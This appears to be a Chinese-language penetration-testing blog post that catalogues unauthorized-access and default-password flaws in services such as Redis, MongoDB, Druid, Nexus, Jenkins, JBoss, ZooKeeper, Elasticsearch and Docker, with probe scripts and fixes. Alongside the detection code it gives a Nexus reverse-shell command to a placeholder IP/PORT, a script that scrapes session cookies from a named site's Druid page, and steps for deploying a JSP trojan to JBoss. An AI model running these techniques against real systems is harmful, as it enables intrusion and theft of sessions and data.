常见未授权弱口令组件总结

常见未授权弱口令组件总结

本文转自SAUCERMAN 并作补充
总结一些主机端口,web服务上的未授权弱口令漏洞,长期更新~

1. redis未授权

漏洞成因

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。低版本的Redis,默认监听在0.0.0.0,且未开启访问认证,4.x版本开始默认监听在127.0.0.1,但仍未开启访问认证。可导致敏感信息泄露,也可以利用redis的备份功能来进行写文件的操作,从而可以写webshell,ssh密钥或者计划任务来getshell,在redis4.0+版本中,还可以利用主从复制来加载恶意so文件实现任意命令执行。
具体的利用方式介绍以前写过–>传送门

2. mongodb未授权

如果对外开放的MongoDB服务,未配置访问认证授权,则无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
漏洞检测脚本:

def mongo(host, port=27017):
socket.setdefaulttimeout(timeout)
payload = binascii.a2b_hex(
"430000000300000000000000d40700000000000061646d696e2e24636d640000000000ffffffff1c000000016c69737444617461626173657300000000000000f03f00")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
recv_data = s.recv(1024)
if b"databases"in recv_data:
color_print.red(f"[+] mongodb is not authorized to access:{host}:{port}")
if b"Unauthorized" in recv_data:
color_print.green(f"[+] mongodb service detected (authorization required):{host}:{port}")
except:
# traceback.print_exc()
pass

3. 阿里 druid未授权

refer: https://www.cnblogs.com/cwkiller/p/12483223.html
这里说的druid和apache druid没有关系,是阿里巴巴开源的数据库连接池,能够提供强大的监控和扩展功能,当开发者配置不当时就可能造成未授权访问。其web页面包含着当前系统存在的session信息,sql交互信息还有系统的url接口等信息,未授权访问会泄露系统敏感信息,利用泄露的session和url接口还可以进入后台、查看到未授权接口。

1
2
3
4
5
常见Druid访问路径如下:

/druid/websession.html
/system/druid/websession.html
/webpage/system/druid/websession.html(jeecg)

image

利用方式

1.我们可以通过泄露的Session登录后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
通过以下脚本在/druid/websession.html页面提取出cookie:

import requests
domain = "http://dy.nnxy.cn"
url = f"{domain}/druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000&"
r = requests.get(url)
f = open("sessions.txt", 'w', encoding='utf-8')
for session_item in r.json()["Content"]:
session = session_item["SESSIONID"]
f.write(session)
f.write("\n")
f.close

然后依次测试该cookie是否有效。可以用burpsuite也可以直接用python,随便了

2.有的Druid可能Session监控处没有东西,可以通过URI监控测试未授权和越权。
比如页面泄露了系统的url接口:/backstage/api/send_mobile_mess/18681772721/1
image
经过测试该接口为未授权的短信验证码发送接口,且发送频率无限制,短信轰炸漏洞一枚~

4. Nexus Repository Manager弱口令+rce

Sonatype Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。

漏洞1:弱口令

在3.17.0之前版本中存在安全漏洞,该漏洞源于默认的管理员账户密码被设置成admin/admin123。攻击者可利用该漏洞获取管理器的管理员权限实现接管。
利用姿势:refer:https://www.jianshu.com/p/1328a3e0689c
当登录后台后,我们可以
访问http://ip:port/#admin/system/tasks
选择Admin - Execute script
在Source处填写[‘/bin/bash’,’-c’,’/bin/bash -i >& /dev/tcp/IP/PORT 0>&1’].execute(),Task frequency选择manual。其他随意。
点击创建任务并手动启动
反弹shell成功

漏洞2:未授权的rce: CVE-2019-7238

其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。漏洞编号为CVE-2019-7238。
漏洞分析文章:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
docker漏洞复现:https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
漏洞的exp: https://github.com/mpgn/CVE-2019-7238

5. genkins未授权访问

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1
2
3
4
5
点击"脚本命令执行", 执行系统命令:

println "whoami".execute().text

更多利用方式参考:https://www.secpulse.com/archives/2166.html

6. Memcached 未授权访问漏洞

Memcached 是一套常用的 key-value 分布式高速缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
漏洞环境搭建:

下载64位系统 1.4.4版本:
http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install
启动服务:
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached

漏洞poc

nc:
ubuntu@10-9-15-151:~$ echo stats | nc 111.233.137.90 11211
STAT pid 1340
STAT uptime 3055111422
STAT time 344865214
STAT version 1.4.4-14-g9c660c0
STAT pointer_size 64
STAT curr_connections 10
STAT total_connections 7034
STAT connection_structures 29
STAT cmd_get 901365
STAT cmd_set 38
STAT cmd_flush 0
STAT get_hits 694864
STAT get_misses 206501
STAT delete_misses 3
STAT delete_hits 7
STAT incr_misses
...
telnet
telnet 111.233.137.90 11211
stats
(退出按ctrl+],再输入quit)
nmap

ubuntu@10-9-15-151:~$ nmap -p 11211 --script memcached-info 111.233.137.111
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-27 15:34 CST
Nmap scan report for 111.233.137.111
Host is up (0.18s latency).

PORT STATE SERVICE
11211/tcp open memcache
| memcached-info:
| Process ID 1340
| Uptime 3055111219 seconds
| Server time 1980-12-05T11:50:11
| Architecture 64 bit
| Current connections 10
| Total connections 7031
| Maximum connections 1024
| TCP Port 11211
| UDP Port 11211
|_ Authentication no

Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds

python3

def memcached(host, port, timeout):
socket.setdefaulttimeout(timeout)
try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("stats\r\n".encode())
recv_data = s.recv(1024)
s.close()
if recv_data and b"STAT pid" in recv_data:
return "memcached is unauthorized"
except:

pass
return None

修复方案
设置Memchached只允许本地访问。
禁止外网访问Memcached 11211端口。
配置访问控制策略。

7. JBoss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

1
2
3
4
5
环境搭建:

docker search testjboss
docker pull testjboss/jboss:latest
docker run -p 8080:8080 -d testjboss/jboss

漏洞利用
直接访问http://10.40.59.29:8080/jmx-console/无需认证进入控制页面,点击jboss.deployment进入应用部署页面
image

本地将jsp木马打包成war:
jar cvf mmm.war xxx.jsp

然后放在公网服务器上,能够让jboss受害者访问,这里我的木马地址为:http://10.10.25.83:8000/mmm.war。
image

在jboss应用部署界面找到void addURL(),输入木马地址,点击Invoke:
image

成功部署:
image
此时访问http://10.40.59.29:8080/mmm即为我们的war木马。

8. ZooKeeper 未授权访问漏洞

zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
漏洞环境搭建

#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

poc
# 1. nc
root@Test-WEB1-yanq:~# echo envi | nc 202.194.2.1 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=cf60dc070a78
java.version=1.8.0_181
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-1.8-openjdk/jre
java.class.path=/zookeeper-3.4.13/bin/../build/classes:/zookeeper-3.4.13/bin/../build/lib/*.jar:/zookeeper-3.4.13/bin/../lib/slf4j-log4j12-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/slf4j-api-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/netty-3.10.6.Final.jar:/zookeeper-3.4.13/bin/../lib/log4j-1.2.17.jar:/zookeeper-3.4.13/bin/../lib/jline-0.9.94.jar:/zookeeper-3.4.13/bin/../lib/audience-annotations-0.5.0.jar:/zookeeper-3.4.13/bin/../zookeeper-3.4.13.jar:/zookeeper-3.4.13/bin/../src/java/lib/*.jar:/conf:
java.library.path=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=4.4.0-116-generic
user.name=zookeeper
user.home=/home/zookeeper
user.dir=/zookeeper-3.4.13
root@Test-WEB1-yanq:~#

# 2. python

def zookeeper(host, port, timeout):
socket.setdefaulttimeout(timeout)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("envi".encode())
recv_data = s.recv(1024)
s.close()
if b'zookeeper.version' in recv_data:
color_print.red(f"[+] zookeeper is not authorized to access:{host}:{port}")
except:
pass

防御手段
添加访问控制,配置服务来源地址限制策略。
增加 ZooKeeper 的认证配置。

9. elasticsearch未授权访问

ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
漏洞复现

# elasticsearch需要JDK1.8+
# 创建elasticsearch用户,elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch

#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch

poc

# 1. curl
curl http://10.25.21.110:30183
{
"name" : "ZxlNoVu",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "gwFVSmsfQsaD3DhIV-GGRA",
"version" : {
"number" : "5.6.8",
"build_hash" : "688ecce",
"build_date" : "2018-02-16T16:46:30.010Z",
"build_snapshot" : false,
"lucene_version" : "6.6.1"
},
"tagline" : "You Know, for Search"
}

# 2. python
def poc(host, port, timeout):
try:
r = requests.get(f"http://{host}:{port}", timeout=timeout, allow_redirects=False, verify=False)
if "You Know, for Search" in r.text:
return "elasticsearch is unauthorized"
except:
pass
return None

防御手段
1.增加访问控制策略
2.在config/elasticsearch.yml中为9200端口设置认证等。

10 Samba未授权访问

Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。如果配置不当,导致guest也可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from smb.SMBConnection import SMBConnection
try:
conn = SMBConnection("", "", "", "", use_ntlm_v2=True)
if conn.connect(host, port, timeout=timeout):
unauth_path = []
sharelist = conn.listShares()
for i in sharelist:
try:
conn.listPath(i.name, "/")
unauth_path.append(i.name)
except:
pass
if len(unauth_path) > 0:
print(f"smb unauthorised: directory:{'/'.join(unauth_path)}")
else:
print("smb service detected")
conn.close()
except:
pass

11 docker未授权访问

Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。
Docker Remote API未授权
Docker的Remote API因配置不当可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据;攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。refer: https://help.aliyun.com/knowledge_detail/37517.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 漏洞搭建

# 下载环境
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境


exp:
https://github.com/Tycx2ry/docker_api_vul

poc:
docker -H tcp://192.168.15.5:2375 version
或者
r = requests.get(f"http://{host}:{port}/version", timeout=timeout, verify=False)
if "ApiVersion" in r.text:
return "docker remote api is unauthorized"

Docker Registry api 未授权
Docker Registry是一个无状态,高度可扩展的服务器端应用程序,可存储并允许用户使用HTTP API分发Docker映像。默认情况下Docker Registry未启用身份验证。
我们可以通过Docker Registry拉出任何容器映像并读取所有者进行的任何更改。还可以上传blob并对docker image进行更改。放置后门等。
refer:https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
docker register api分为v1和v2版本。

1
2
3
4
5
6
7
8
9
10
11
exp:
https://github.com/NotSoSecure/docker_fetch

poc:
r = requests.get(f"http://{host}:{port}/v2/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

r = requests.get(f"http://{host}:{port}/v1/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

12 Rsync未授权

refer: https://github.com/vulhub/vulhub/tree/master/rsync/common
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

1
2
3
4
5
6
7
漏洞复现
docker复现即可 -> https://github.com/vulhub/vulhub/tree/master/rsync/common

poc
rsync rsync://your-ip:873/
或者
https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/rsync_weak_auth.py

13. SpringBoot应用监控Actuator未授权

refer: https://xz.aliyun.com/t/2233
Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
路径    描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

poc --> https://github.com/rabbitmask/SB-Actuator

修复建议:
实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下:
endpoints.env.enabled= false
如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:
endpoints.enabled = false
endpoints.metrics.enabled = true